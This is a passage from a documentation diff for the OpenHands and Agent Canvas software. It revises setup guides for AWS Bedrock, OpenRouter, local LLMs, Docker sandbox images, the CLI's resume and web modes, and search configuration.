Sundays at 2 AM UTC Set the "Weekly Cleanup" automation timeout to 20 minutes ``` -Timeouts can be up to 30 minutes. Runs that exceed their timeout fail automatically. +The maximum timeout depends on your deployment. Runs that exceed their timeout fail automatically. ## Running Manually @@ -33196,6 +34873,8 @@ Each run creates a conversation that automatically appears in your conversations - **Continue** if you want to interact with the sandbox - **Debug** if something went wrong +In an automation's `Activity Log`, use `Export JSON` or `Export CSV` to download its complete run history. + Automations are user-scoped, so all your automation runs appear alongside your regular conversations. Look for them in your conversations list after each scheduled run. @@ -34691,6 +36370,23 @@ These variables correspond to the `[security]` section in `config.toml`: |---------------------|------|---------|-------------| | `SANDBOX_VOLUME_OVERLAYS` | string | `""` | Volume overlay configurations | +### Docker Conversation Runtime (Canvas) + +When running Agent Canvas locally via the `dev-safe.mjs` launcher, Canvas can forward conversation-runtime settings to its bundled Agent Server. This enables `OH_CONVERSATION_RUNTIME=docker`, which runs each conversation in an isolated Docker container instead of the default local process runtime. + +Canvas forwards these settings only when the operator explicitly sets them. Unset values remain absent so Agent Server defaults stay authoritative. + +| Environment Variable | Type | Default | Description | +|---------------------|------|---------|-------------| +| `OH_CONVERSATION_RUNTIME` | string | unset | Conversation runtime type. Set to `docker` to run conversations in Docker containers. | +| `OH_CONVERSATION_IMAGE` | string | unset | Docker image to use for conversation containers. | +| `OH_CONVERSATION_CONTAINER_MEMORY` | string | unset | Memory limit for conversation containers (e.g., `2g`). | +| `OH_CONVERSATION_CONTAINER_CPUS` | string | unset | CPU limit for conversation containers. | +| `OH_CONVERSATION_CONTAINER_PIDS_LIMIT` | string | unset | PID limit for conversation containers. | +| `OH_CONVERSATION_CONTAINER_STARTUP_TIMEOUT` | string | unset | Startup timeout for conversation containers (seconds). | + +These variables are specific to Canvas's `dev-safe.mjs` launcher and are forwarded to the bundled Agent Server process. Docker provisioning and setting interpretation are handled by Agent Server. + ### Remote Runtime | Environment Variable | Type | Default | Description | |---------------------|------|---------|-------------| @@ -36393,74 +38089,97 @@ AWS Bedrock provides access to foundation models from Amazon and third-party pro ### Environment Variables -When running OpenHands with Docker, set the following environment variables using `-e`: +When running Agent Canvas with the [official Docker image](/openhands/usage/agent-canvas/backend-setup/docker), add these options to the documented `docker run` command: ```bash -docker run -it --pull=always \ - -e LLM_AWS_ACCESS_KEY_ID="your-access-key-id" \ - -e LLM_AWS_SECRET_ACCESS_KEY="your-secret-access-key" \ - -e LLM_AWS_REGION_NAME="us-east-1" \ - ... +--env LLM_AWS_ACCESS_KEY_ID="your-access-key-id" \ +--env LLM_AWS_SECRET_ACCESS_KEY="your-secret-access-key" \ +--env LLM_AWS_REGION_NAME="us-east-1" ``` +The official `ghcr.io/openhands/agent-canvas:latest` image includes the AWS SDK for Python (`boto3`). + Make sure you have enabled the Bedrock models you want to use in the AWS Console. Go to **Amazon Bedrock** → **Model access** and request access to the models you need. ### UI Configuration -In the OpenHands UI Settings under the `LLM` tab: +In Agent Canvas: -1. Enable `Advanced` options -2. Set the following: - - `Custom Model` to the Bedrock model ID (see [Model IDs](#model-ids)) - - Leave `Base URL` empty (Bedrock uses AWS endpoints automatically) - - Leave `API Key` empty (authentication is handled via AWS credentials) +1. Open `Settings > LLM` and enable the `Advanced` options. +2. Set `Custom Model` to the Bedrock model or inference profile ID. See [Model IDs](#model-ids). +3. Leave `Base URL` empty because Bedrock uses AWS endpoints automatically. +4. Leave `API Key` empty because authentication is handled through your AWS credentials. +5. Save the profile and start a new conversation to test it. + +See [Manage LLM Profiles](/openhands/usage/agent-canvas/llm-profiles) for more information about profile settings. ### Model IDs Bedrock model IDs are managed by AWS and may change over time. Use the exact **Model ID** from the AWS Console or the AWS documentation (no `bedrock/` prefix). Example format: + - `Custom Model`: `anthropic.claude-3-5-sonnet-20241022-v2:0` For a complete list of available models, see the [AWS Bedrock documentation](https://docs.aws.amazon.com/bedrock/latest/userguide/models-supported.html). ### Cross-Region Inference -Some Bedrock models can be invoked across regions by prefixing the model ID with the target region (for example, `us.`): +Some models must be invoked through a cross-region inference profile rather than their direct foundation model ID. Inference profile IDs include a geographic prefix such as `us.`. + +For example, use: + +- `Custom Model`: `us.anthropic.claude-sonnet-4-5-20250929-v1:0` + +instead of the direct model ID: -- `Custom Model`: `.` +- `anthropic.claude-sonnet-4-5-20250929-v1:0` -No additional environment variable configuration is needed—keep using your normal Bedrock setup and credentials. +No additional environment variables are required. Keep using the AWS region where you configured Bedrock access and your existing credentials. See [Increase throughput with cross-region inference](https://docs.aws.amazon.com/bedrock/latest/userguide/cross-region-inference.html) for supported profiles and regions. ### Using IAM Roles (Alternative to Access Keys) -If running OpenHands on AWS infrastructure (EC2, ECS, Lambda), you can use IAM roles instead of access keys: +If running OpenHands on AWS infrastructure such as EC2, ECS, or Lambda, you can use IAM roles instead of access keys: -1. Attach an IAM role with Bedrock permissions to your compute resource -2. Omit the `LLM_AWS_ACCESS_KEY_ID` and `LLM_AWS_SECRET_ACCESS_KEY` environment variables -3. The AWS SDK will automatically use the instance role credentials +1. Attach an IAM role with Bedrock permissions to your compute resource. +2. Omit the `LLM_AWS_ACCESS_KEY_ID` and `LLM_AWS_SECRET_ACCESS_KEY` environment variables. +3. The AWS SDK automatically uses the instance role credentials. ### Troubleshooting #### "No module named 'boto3'" Error If you encounter this error: -``` + +```text litellm.APIConnectionError: No module named 'boto3' ModuleNotFoundError: No module named 'boto3' ``` -This means you're using an older version of the OpenHands Docker image that doesn't include the AWS SDK. Update to the latest version: +First identify how you installed Agent Canvas: -```bash -docker pull docker.openhands.dev/openhands/openhands:latest +- **Docker:** The current `ghcr.io/openhands/agent-canvas:latest` image includes `boto3`. Pull the latest image and recreate the container: + + ```bash + docker pull ghcr.io/openhands/agent-canvas:latest + ``` + +- **npm or npx:** The Python environment managed by the npm distribution may not include the optional Bedrock dependency. Follow [OpenHands issue #16578](https://github.com/OpenHands/OpenHands/issues/16578) for the package fix. Use the official Agent Canvas Docker image if you need Bedrock while that issue remains open. + +Do not install `boto3` into a temporary uv archive environment because Agent Canvas may recreate that environment. + +#### On-Demand Throughput Is Not Supported + +Some foundation model IDs cannot be invoked directly and return an error similar to: + +```text +Invocation of model ID ... with on-demand throughput isn't supported. +Retry your request with the ID or ARN of an inference profile that contains this model. ``` - -This issue is resolved in recent OpenHands releases. If you still see it, upgrade to `latest` (or a recent release tag). - +Use the corresponding inference profile ID or ARN, such as `us.anthropic.claude-sonnet-4-5-20250929-v1:0`. This error does not indicate a credential, model access, or `boto3` problem. #### Access Denied Errors @@ -36819,6 +38538,20 @@ page focuses on how the OpenHands interfaces surface those capabilities. When in for the canonical list of supported parameters. +## Choose a Model Configuration Path + +Choose the path that matches the access you have: + +| I have | Start here | +|---|---| +| An API key from a model provider or OpenHands | [Configure a Model in Agent Canvas](/openhands/usage/agent-canvas/model-configuration) | +| A local model server such as Ollama, LM Studio, vLLM, or SGLang | [Run Local LLMs with OpenHands](/openhands/usage/llms/local-llms) | +| A LiteLLM proxy | [LiteLLM Proxy](/openhands/usage/llms/litellm-proxy) | +| An OpenRouter API key | [Use OpenRouter with OpenHands](/openhands/usage/llms/openrouter) | +| Claude Code, Codex, or Gemini CLI credentials | [ACP Agents](/openhands/usage/agent-canvas/acp-agents) | + +For model-ID, endpoint, API-key, and recovery checks, use [Configure a Model](/openhands/usage/agent-canvas/model-configuration) before changing advanced settings. + ## Model Recommendations Model quality for coding agents changes quickly. These recommendations are based on current @@ -36955,6 +38688,17 @@ Source: https://docs.openhands.dev/openhands/usage/llms/local-llms.md Use this guide when you want a local model, rather than a local Agent Canvas backend or local project files. Local LLMs can have limited functionality; use a capable model and GPU-backed server for the best experience. +## Choose What You Mean by Local + +| If you want... | Start here | +|---|---| +| A model server on your computer or network | Continue with this guide. | +| Agent Canvas itself to run on your computer | [Install Agent Canvas](/openhands/usage/agent-canvas/setup) | +| A containerized Agent Canvas backend | [Use Docker with Agent Canvas](/openhands/usage/agent-canvas/backend-setup/docker) | +| The agent to work with local files | [Connect and Manage Backends](/openhands/usage/agent-canvas/backends) | + +For the model ID, base URL, and recovery checks that connect a local server to Agent Canvas, see [Configure a Model](/openhands/usage/agent-canvas/model-configuration). + ## News - 2026/05/21: We now recommend [Qwen3.6-35B-A3B](https://huggingface.co/Qwen/Qwen3.6-35B-A3B) as the first local model to try with OpenHands. It is an open-weight MoE model built for agentic coding, supports a large context window, and is available through LM Studio, Ollama, vLLM, and SGLang. @@ -37401,18 +39145,36 @@ Pricing follows official API provider rates. Below are the current pricing detai **Note:** Prices listed reflect provider rates with no markup, sourced via LiteLLM’s model price database and provider pricing pages. Cached input tokens are charged at a reduced rate when the same content is reused across requests. Models that don't support prompt caching show "N/A" for cached input cost. -### OpenRouter +### Use OpenRouter with OpenHands Source: https://docs.openhands.dev/openhands/usage/llms/openrouter.md -## Configuration +Use OpenRouter when you have an OpenRouter API key and want to access a model from its [model catalog](https://openrouter.ai/models). -When running OpenHands, you'll need to set the following in the OpenHands UI through the Settings under the `LLM` tab: -* `LLM Provider` to `OpenRouter` -* `LLM Model` to the model you will be using. -[Visit here to see a full list of OpenRouter models](https://openrouter.ai/models). -If the model is not in the list, enable `Advanced` options, and enter it in -`Custom Model` (e.g. openrouter/<model-name> like `openrouter/anthropic/claude-3.5-sonnet`). -* `API Key` to your OpenRouter API key. +## Configure Agent Canvas + +1. Open `Settings > LLM`. +2. In the `Basic` tab, select `OpenRouter` as the provider. +3. Select a model, enter your OpenRouter API key, and save the profile. +4. Start a new conversation and send a short message to verify the model responds. + +If the model is not in the selector, use the `Advanced` tab and enter its model ID with the `openrouter/` prefix. For example, OpenRouter model ID `anthropic/claude-3.5-sonnet` becomes: + +```text +openrouter/anthropic/claude-3.5-sonnet +``` + +Copy the current model ID from the [OpenRouter model catalog](https://openrouter.ai/models). Model availability and IDs can change, so do not rely on a previously saved identifier without checking it. + +## Fix Common Problems + +| Problem | Check | Next step | +|---|---|---| +| Model is not found | The exact OpenRouter model ID | Copy the ID from the model catalog and add the `openrouter/` prefix in `Advanced`. | +| Authentication fails | The API key | Create or copy an active OpenRouter API key, then save the profile again. | +| The model is unavailable | The selected model in the catalog | Choose an available model or check your OpenRouter account and model access. | +| The model does not complete agent tasks reliably | Model context and tool-use support | Choose a more capable model that supports the features required for your task. | + +For the broader configuration decision and local/proxy recovery paths, see [Configure a Model](/openhands/usage/agent-canvas/model-configuration). For LiteLLM's provider behavior, see [LiteLLM's OpenRouter documentation](https://docs.litellm.ai/docs/providers/openrouter). ### Configure Source: https://docs.openhands.dev/openhands/usage/run-openhands/gui-mode.md @@ -38052,6 +39814,10 @@ To override the defaults: for commits and pull requests. OpenHands will remain as a co-author. +## Getting Started Checklist + +The sidebar shows a **Getting Started** checklist after first-run onboarding. Toggle `Show getting started checklist` in `Settings > Application` to hide or show it. The setting persists across sessions. See [First Time Setup](/openhands/usage/agent-canvas/first-time-setup#getting-started-checklist) for details. + ## Sandbox Grouping Strategy The `Sandbox Grouping Strategy` setting controls where OpenHands places new @@ -38285,6 +40051,12 @@ for new conversations. Alternatively, you can click the `Add LLM Profile` button in the Available Profiles section to create a new profile directly. + +When saving a local LLM profile, the configuration is validated against the backend before it is persisted. If validation +fails (for example, an invalid API key or unavailable model), the save is blocked and the error is shown. Older backends +that do not support validation skip this check and save normally. + + ### Managing LLM Profiles You can manage your saved profiles in the `Available Profiles` section of the LLM settings page. Each profile shows: @@ -38618,7 +40390,7 @@ Other options include: In Agent Canvas, open `Customize > MCP Servers` to manage installed MCP servers. Use the control on an installed server card to disable it without deleting its configuration or saved credentials. Disabled servers are unavailable to new conversations until you enable them again. -Use the editor's delete action only when you want to remove the server configuration. Editing a disabled server does not enable it. +Adding, editing, renaming, or deleting one server does not remove saved credentials for your other servers. Use the editor's delete action only when you want to remove that server configuration. Editing a disabled server does not enable it. ## OAuth Authentication @@ -39647,6 +41419,251 @@ After creating the automation: - [GitHub Integration](/openhands/usage/cloud/github-installation) - Set up GitHub integration for OpenHands Cloud - [Skills Documentation](/overview/skills) - Learn more about OpenHands skills +### Agent-Driven Daily Workflow +Source: https://docs.openhands.dev/openhands/usage/use-cases/daily-workflow.md + + - -## Your First Conversation - -**Set up your account** (first time only): - - - - ```bash - openhands login - ``` - This authenticates with OpenHands Cloud and fetches your settings. - - - The CLI will prompt you to configure your LLM provider and API key on first run. - - - -1. **Start the CLI:** - ```bash - openhands - ``` - -2. **Enter a task:** - ``` - Create a Python script that prints "Hello, World!" - ``` - -3. **Watch OpenHands work:** - The agent will create the file and show you the results. - -## Controls - -Once inside the CLI, use these controls: - -| Control | Description | -|---------|-------------| -| `Ctrl+P` | Open command palette (access Settings, MCP status) | -| `Esc` | Pause the running agent | -| `Ctrl+Q` or `/exit` | Exit the CLI | - -## Starting with a Task - -You can start the CLI with an initial task: - -```bash -# Start with a task -openhands -t "Fix the bug in auth.py" - -# Start with a task from a file -openhands -f task.txt -``` - -## Resuming Conversations - -Resume a previous conversation: - -```bash -# List recent conversations and select one -openhands --resume - -# Resume the most recent conversation -openhands --resume --last - -# Resume a specific conversation by ID -openhands --resume abc123def456 -``` - -For more details, see [Resume Conversations](/openhands/usage/cli/resume). - -## Next Steps - - - - Learn about the interactive terminal interface - - - Use OpenHands in Zed, VS Code, or JetBrains - - - Automate tasks with scripting - - - Add tools via Model Context Protocol - - - -### Resume Conversations -Source: https://docs.openhands.dev/openhands/usage/cli/resume.md - -## Overview - -OpenHands CLI automatically saves your conversation history in `~/.openhands/conversations`. You can resume any previous conversation to continue where you left off. - -## Listing Previous Conversations - -To see a list of your recent conversations, run: - -```bash -openhands --resume -``` - -This displays up to 15 recent conversations with their IDs, timestamps, and a preview of the first user message: - -``` -Recent Conversations: --------------------------------------------------------------------------------- - 1. abc123def456 (2h ago) - Fix the login bug in auth.py - - 2. xyz789ghi012 (yesterday) - Add unit tests for the user service - - 3. mno345pqr678 (3 days ago) - Refactor the database connection module --------------------------------------------------------------------------------- -To resume a conversation, use: openhands --resume -``` - -## Resuming a Specific Conversation - -To resume a specific conversation, use the `--resume` flag with the conversation ID: - -```bash -openhands --resume -``` - -For example: - -```bash -openhands --resume abc123def456 -``` - -## Resuming the Latest Conversation - -To quickly resume your most recent conversation without looking up the ID, use the `--last` flag: - -```bash -openhands --resume --last -``` - -This automatically finds and resumes the most recent conversation. - -## How It Works - -When you resume a conversation: - -1. OpenHands loads the full conversation history from disk -2. The agent has access to all previous context, including: - - Your previous messages and requests - - The agent's responses and actions - - Any files that were created or modified -3. You can continue the conversation as if you never left - - -The conversation history is stored locally on your machine. If you delete the `~/.openhands/conversations` directory, your conversation history will be lost. - - -## Resuming in Different Modes - -### Terminal Mode - -```bash -openhands --resume abc123def456 -openhands --resume --last -``` - -### ACP Mode (IDEs) - -```bash -openhands acp --resume abc123def456 -openhands acp --resume --last -``` - -For IDE-specific configurations, see: -- [Zed](/openhands/usage/cli/ide/zed#resume-a-specific-conversation) -- [Toad](/openhands/usage/cli/ide/toad#resume-a-conversation) -- [JetBrains](/openhands/usage/cli/ide/jetbrains#resume-a-conversation) - -### With Confirmation Modes - -Combine `--resume` with confirmation mode flags: - -```bash -# Resume with LLM-based approval -openhands --resume abc123def456 --llm-approve - -# Resume with auto-approve -openhands --resume --last --always-approve -``` - -## Tips - - -**Copy the conversation ID**: When you exit a conversation, OpenHands displays the conversation ID. Copy this for later use. - - - -**Use descriptive first messages**: The conversation list shows a preview of your first message, so starting with a clear description helps you identify conversations later. - - -## Storage Location - -Conversations are stored in: - -``` -~/.openhands/conversations/ -├── abc123def456/ -│ └── conversation.json -├── xyz789ghi012/ -│ └── conversation.json -└── ... -``` - -## See Also - -- [Terminal Mode](/openhands/usage/cli/terminal) - Interactive CLI usage -- [IDE Integration](/openhands/usage/cli/ide/overview) - Resuming in IDEs -- [Command Reference](/openhands/usage/cli/command-reference) - Full CLI reference - -### Terminal (CLI) -Source: https://docs.openhands.dev/openhands/usage/cli/terminal.md - -## Overview - -The Command Line Interface (CLI) is the default mode when you run `openhands`. It provides a rich, interactive experience directly in your terminal. - -```bash -openhands -``` - -## Features - -- **Real-time interaction**: Type natural language tasks and receive instant feedback -- **Live status monitoring**: Watch the agent's progress as it works -- **Command palette**: Press `Ctrl+P` to access settings, MCP status, and more - -## Command Palette - -Press `Ctrl+P` to open the command palette, then select from the dropdown options: - -| Option | Description | -|--------|-------------| -| **Settings** | Open the settings configuration menu | -| **MCP** | View MCP server status | - -## Controls - -| Control | Action | -|---------|--------| -| `Ctrl+P` | Open command palette | -| `Esc` | Pause the running agent | -| `Ctrl+Q` or `/exit` | Exit the CLI | - -## Starting with a Task - -Start a conversation with an initial task: - -```bash -# Provide a task directly -openhands -t "Create a REST API for user management" - -# Load task from a file -openhands -f requirements.txt -``` - -## Confirmation Modes - -Control how the agent requests approval for actions: - -```bash -# Default: Always ask for confirmation -openhands - -# Auto-approve all actions (use with caution) -openhands --always-approve - -# Use LLM-based security analyzer -openhands --llm-approve -``` - -## Resuming Conversations - -Resume previous conversations: - -```bash -# List recent conversations -openhands --resume - -# Resume the most recent -openhands --resume --last - -# Resume a specific conversation -openhands --resume abc123def456 -``` - -For more details, see [Resume Conversations](/openhands/usage/cli/resume). - -## Tips - - -Press `Ctrl+P` and select **Settings** to quickly adjust your LLM configuration without restarting the CLI. - - - -Press `Esc` to pause the agent if it's going in the wrong direction, then provide clarification. - - -## See Also - -- [Quick Start](/openhands/usage/cli/quick-start) - Get started with the CLI -- [MCP Servers](/openhands/usage/cli/mcp-servers) - Configure MCP servers -- [Headless Mode](/openhands/usage/cli/headless) - Run without UI for automation - -### Web Interface -Source: https://docs.openhands.dev/openhands/usage/cli/web-interface.md - -## Overview - -The `openhands web` command launches the CLI's terminal interface as a web application, accessible through your browser. This is useful when you want to: -- Access the CLI remotely -- Share your terminal session -- Use the CLI on devices without a full terminal - -```bash -openhands web -``` - - -This is different from `openhands serve`, which launches the full GUI web application. The web interface runs the same terminal UI experience you see in the terminal, just in a browser. - - -## Basic Usage - -```bash -# Start on default port (12000) -openhands web - -# Access at http://localhost:12000 -``` - -## Options - -| Option | Default | Description | -|--------|---------|-------------| -| `--host` | `0.0.0.0` | Host address to bind to | -| `--port` | `12000` | Port number to use | -| `--debug` | `false` | Enable debug mode | - -## Examples - -```bash -# Custom port -openhands web --port 8080 - -# Bind to localhost only (more secure) -openhands web --host 127.0.0.1 - -# Enable debug mode -openhands web --debug - -# Full example with custom host and port -openhands web --host 0.0.0.0 --port 3000 -``` - -## Remote Access - -To access the web interface from another machine: - -1. Start with `--host 0.0.0.0` to bind to all interfaces: - ```bash - openhands web --host 0.0.0.0 --port 12000 - ``` - -2. Access from another machine using the host's IP: - ``` - http://:12000 - ``` - - -When exposing the web interface to the network, ensure you have appropriate security measures in place. The web interface provides full access to OpenHands capabilities. - - -## Use Cases - -### Development on Remote Servers - -Access OpenHands on a remote development server through your local browser: - -```bash -# On remote server -openhands web --host 0.0.0.0 --port 12000 - -# On local machine, use SSH tunnel -ssh -L 12000:localhost:12000 user@remote-server - -# Access at http://localhost:12000 -``` - -### Sharing Sessions - -Run the web interface on a shared server for team access: - -```bash -openhands web --host 0.0.0.0 --port 8080 -``` - -## Comparison: Web Interface vs GUI Server - -| Feature | `openhands web` | `openhands serve` | -|---------|-----------------|-------------------| -| Interface | Terminal UI in browser | Full web GUI | -| Dependencies | None | Docker required | -| Resources | Lightweight | Full container | -| Best for | Quick access | Rich GUI experience | - -## See Also - -- [Terminal Mode](/openhands/usage/cli/terminal) - Direct terminal usage -- [GUI Server](/openhands/usage/cli/gui-server) - Full web GUI with Docker -- [Command Reference](/openhands/usage/cli/command-reference) - All CLI options - -## OpenHands Web App Server - -### About OpenHands -Source: https://docs.openhands.dev/openhands/usage/about.md - -## Research Strategy - -Achieving full replication of production-grade applications with LLMs is a complex endeavor. Our strategy involves: - -- **Core Technical Research:** Focusing on foundational research to understand and improve the technical aspects of code generation and handling. -- **Task Planning:** Developing capabilities for bug detection, codebase management, and optimization. -- **Evaluation:** Establishing comprehensive evaluation metrics to better understand and improve our agents. - -## Default Agent - -Our default Agent is currently the [CodeActAgent](./agents), which is capable of generating code and handling files. - -## Built With - -OpenHands is built using a combination of powerful frameworks and libraries, providing a robust foundation for its -development. Here are the key technologies used in the project: - -![FastAPI](https://img.shields.io/badge/FastAPI-black?style=for-the-badge) ![uvicorn](https://img.shields.io/badge/uvicorn-black?style=for-the-badge) ![LiteLLM](https://img.shields.io/badge/LiteLLM-black?style=for-the-badge) ![Docker](https://img.shields.io/badge/Docker-black?style=for-the-badge) ![Ruff](https://img.shields.io/badge/Ruff-black?style=for-the-badge) ![MyPy](https://img.shields.io/badge/MyPy-black?style=for-the-badge) ![LlamaIndex](https://img.shields.io/badge/LlamaIndex-black?style=for-the-badge) ![React](https://img.shields.io/badge/React-black?style=for-the-badge) - -Please note that the selection of these technologies is in progress, and additional technologies may be added or -existing ones may be removed as the project evolves. We strive to adopt the most suitable and efficient tools to -enhance the capabilities of OpenHands. - -## License - -Distributed under MIT [License](https://github.com/OpenHands/OpenHands/blob/main/LICENSE). - -### Configuration Options -Source: https://docs.openhands.dev/openhands/usage/advanced/configuration-options.md - - - This page documents the current V1 configuration model. - - Legacy config.toml / “runtime” configuration docs have been moved - to the Legacy (V0) section of the Web tab. - - -## Where configuration lives in V1 - -Most user-facing configuration is done via the **Settings** UI in the Web app -(LLM provider/model, integrations, MCP, secrets, etc.). - -For self-hosted deployments and advanced workflows, OpenHands also supports -environment-variable configuration. - -## Common V1 environment variables - -These are some commonly used variables in V1 deployments: - -- **LLM credentials** - - LLM_API_KEY - - LLM_MODEL - -- **Persistence** - - OH_PERSISTENCE_DIR: where OpenHands stores local state (defaults to - ~/.openhands). - -- **Public URL (optional)** - - OH_WEB_URL: the externally reachable URL of your OpenHands instance - (used for callbacks in some deployments). - -- **Sandbox workspace mounting** - - SANDBOX_VOLUMES: mount host directories into the sandbox (see - [Docker Sandbox](/openhands/usage/sandboxes/docker)). - -- **Sandbox image selection** - - AGENT_SERVER_IMAGE_REPOSITORY - - AGENT_SERVER_IMAGE_TAG - -- **Sandbox networking (self-hosting behind a reverse proxy)** - - SANDBOX_CONTAINER_URL_PATTERN / OH_SANDBOX_CONTAINER_URL_PATTERN: - the URL pattern used to reach exposed sandbox ports, with {port} as a - placeholder (default `http://localhost:{port}`). Set this to your public - hostname, e.g. `https://my-domain:{port}`, when self-hosting behind a - reverse proxy. See [Docker Sandbox: Self-hosting behind a reverse proxy](/openhands/usage/sandboxes/docker#self-hosting-behind-a-reverse-proxy). - - AGENT_SERVER_USE_HOST_NETWORK: when true (also - 1/yes), run agent-server containers in Docker host-network - mode so each container's ports are reachable directly on fixed host ports instead of - randomly assigned ones. See [Docker Sandbox: Self-hosting behind a reverse proxy](/openhands/usage/sandboxes/docker#self-hosting-behind-a-reverse-proxy). - - -## Sandbox provider selection - -Some deployments still use the legacy RUNTIME environment variable to -choose which sandbox provider to use: - -- RUNTIME=docker (default) -- RUNTIME=process (aka legacy RUNTIME=local) -- RUNTIME=remote - -See [Sandboxes overview](/openhands/usage/sandboxes/overview) for details. - -## Need legacy options? - -If you are looking for the old config.toml reference or V0 “runtime” -providers, see: - -- Web → Legacy (V0) → V0 Configuration Options -- Web → Legacy (V0) → V0 Runtime Configuration - -### Custom Sandbox -Source: https://docs.openhands.dev/openhands/usage/advanced/custom-sandbox-guide.md - - - These settings are only available in [Local GUI](/openhands/usage/run-openhands/local-setup). OpenHands Cloud uses managed sandbox environments. - - - - Looking for the legacy `SANDBOX_BASE_CONTAINER_IMAGE` / `base_container_image` - workflow? That only applies to OpenHands V0. See the - [V0 Custom Sandbox reference](/openhands/usage/v0/advanced/V0_custom-sandbox-guide). - - -The sandbox is where the agent performs its tasks. Instead of running commands directly on your computer -(which could be risky), the agent runs them inside a Docker container. - -## How the sandbox works in V1 - -In OpenHands V1 the sandbox container **is** the OpenHands agent-server. By default OpenHands runs -`ghcr.io/openhands/agent-server:-python`, which already includes Python and Node.js. The image is -resolved from two environment variables: - -- `AGENT_SERVER_IMAGE_REPOSITORY` (default `ghcr.io/openhands/agent-server`) -- `AGENT_SERVER_IMAGE_TAG` (default `-python`) - -Because the sandbox is the agent-server, you can't just swap in an arbitrary base image — the container has -to keep running the agent-server. To add custom tooling you build a **custom agent-server image** on top of -your chosen base image, then point OpenHands at it. - -## Building a custom agent-server image - -The agent-server is built from a [Dockerfile in the OpenHands SDK](https://github.com/OpenHands/software-agent-sdk/blob/main/openhands-agent-server/openhands/agent_server/docker/Dockerfile) -that accepts a `BASE_IMAGE` build argument. Any Debian-based image works as the base. - -For example, to layer the agent-server onto an image that has `ruby` installed, first build (or pick) your base -image. To build one: - -```dockerfile -# Dockerfile.base -FROM nikolaik/python-nodejs:python3.12-nodejs22 - -# Install required packages -RUN apt-get update && apt-get install -y ruby -``` - -```bash -docker build -t my-base:latest -f Dockerfile.base . -``` - -Then build the agent-server image on top of it. Clone the -[OpenHands SDK](https://github.com/OpenHands/software-agent-sdk) and, from the repository root, run: - -```bash -docker buildx build \ - --build-arg BASE_IMAGE=my-base:latest \ - --target binary \ - -f openhands-agent-server/openhands/agent_server/docker/Dockerfile \ - -t my-agent-server:custom \ - --load \ - . -``` - -- `--build-arg BASE_IMAGE=` selects the base image to layer the agent-server onto. -- `--target binary` matches how the default published `-python` image is built — it bundles a self-contained - agent-server binary (no Python virtual environment at runtime) and includes VSCode and VNC. Other targets - are available if you need them: `source` runs the agent-server from a Python virtual environment (handy for - development and debugging), and the `binary-minimal` / `source-minimal` targets drop VSCode and VNC for a - smaller image. -- `--load` makes the resulting image available to your local Docker daemon. - -This produces a local image called `my-agent-server:custom`. - -## Pointing OpenHands at your image - -Set both environment variables so OpenHands launches your image as the sandbox. They must be set together — -if either is missing, OpenHands falls back to the default image: - -```bash -docker run -it --rm --pull=always \ - -e AGENT_SERVER_IMAGE_REPOSITORY=my-agent-server \ - -e AGENT_SERVER_IMAGE_TAG=custom \ - ... -``` - -If you start OpenHands with Docker Compose, set the same variables there: - -```yaml -environment: - - AGENT_SERVER_IMAGE_REPOSITORY=my-agent-server - - AGENT_SERVER_IMAGE_TAG=custom -``` - -When the sandbox starts, OpenHands launches your image on port `8000` and polls `/health` until the -agent-server is ready. - - - When you publish your image to a registry, set `AGENT_SERVER_IMAGE_REPOSITORY` to the fully qualified - repository (e.g. `ghcr.io/your-org/my-agent-server`) and make sure the host running OpenHands can pull it. - - -## Related - -- [Docker Sandbox](/openhands/usage/sandboxes/docker) — the default sandbox provider for Local GUI. -- [Agent Server in Docker (SDK)](/sdk/guides/agent-server/docker-sandbox) — deeper details on the - agent-server image and how it is built. - -### Search Engine Setup -Source: https://docs.openhands.dev/openhands/usage/advanced/search-engine-setup.md - -## Setting Up Search Engine in OpenHands - -OpenHands can be configured to use [Tavily](https://tavily.com/) as a search engine, which allows the agent to -search the web for information when needed. This capability enhances the agent's ability to provide up-to-date -information and solve problems that require external knowledge. - - - Tavily is configured as a search engine by default in OpenHands Cloud! - - -### Getting a Tavily API Key - -To use the search functionality in OpenHands, you'll need to obtain a Tavily API key: - -1. Visit [Tavily's website](https://tavily.com/) and sign up for an account. -2. Navigate to the API section in your dashboard. -3. Generate a new API key. -4. Copy the API key (it should start with `tvly-`). - -### Configuring Search in OpenHands - -Once you have your Tavily API key, you can configure OpenHands to use it: - -#### In the OpenHands UI - -1. Open OpenHands and navigate to the `Settings > LLM` page. -2. Enter your Tavily API key (starting with `tvly-`) in the `Search API Key (Tavily)` field. -3. Click `Save` to apply the changes. - - - The search API key field is optional. If you don't provide a key, the search functionality will not be available to - the agent. - - -#### Using Configuration Files - -If you're running OpenHands in headless mode or via CLI, you can configure the search API key in your configuration file: - -```toml -# In your OpenHands config file -[core] -search_api_key = "tvly-your-api-key-here" -``` - -### How Search Works in OpenHands - -When the search engine is configured: - -- The agent can decide to search the web when it needs external information. -- Search queries are sent to Tavily's API via [Tavily's MCP server](https://github.com/tavily-ai/tavily-mcp) which - includes a variety of [tools](https://docs.tavily.com/documentation/api-reference/introduction) (search, extract, crawl, map). -- Results are returned and incorporated into the agent's context. -- The agent can use this information to provide more accurate and up-to-date responses. - -### Limitations - -- Search results depend on Tavily's coverage and freshness. -- Usage may be subject to Tavily's rate limits and pricing tiers. -- The agent will only search when it determines that external information is needed. - -### Troubleshooting - -If you encounter issues with the search functionality: - -- Verify that your API key is correct and active. -- Check that your API key starts with `tvly-`. -- Ensure you have an active internet connection. -- Check Tavily's status page for any service disruptions. - -### ACP Agents -Source: https://docs.openhands.dev/openhands/usage/agent-canvas/acp-agents.md - -Use this guide when you want to bring Claude Code, Codex, or other agent CLIs into Agent Canvas. Agent Canvas can drive conversations with the built-in **OpenHands** agent or with an external **ACP agent**. For an ACP agent, the selected backend launches the provider's CLI and must have access to its subscription login or API key. - -## What is an ACP agent? - -The [Agent Client Protocol (ACP)](https://agentclientprotocol.com/protocol/overview) is a standard for talking to coding agents over JSON-RPC on stdio. Instead of Agent Canvas calling an LLM directly, the Agent Server spawns the agent's own CLI as a subprocess and relays each turn to it. The external agent manages its own LLM, tools, and execution; Agent Canvas sends messages and renders what comes back. - -```mermaid -flowchart LR - canvas["Agent Canvas
(this UI)"] - server["Agent Server"] - acp["ACP subprocess
(e.g. claude-agent-acp)"] - llm["LLM provider
(Anthropic / OpenAI / Google)"] - canvas -- "PATCH /api/settings
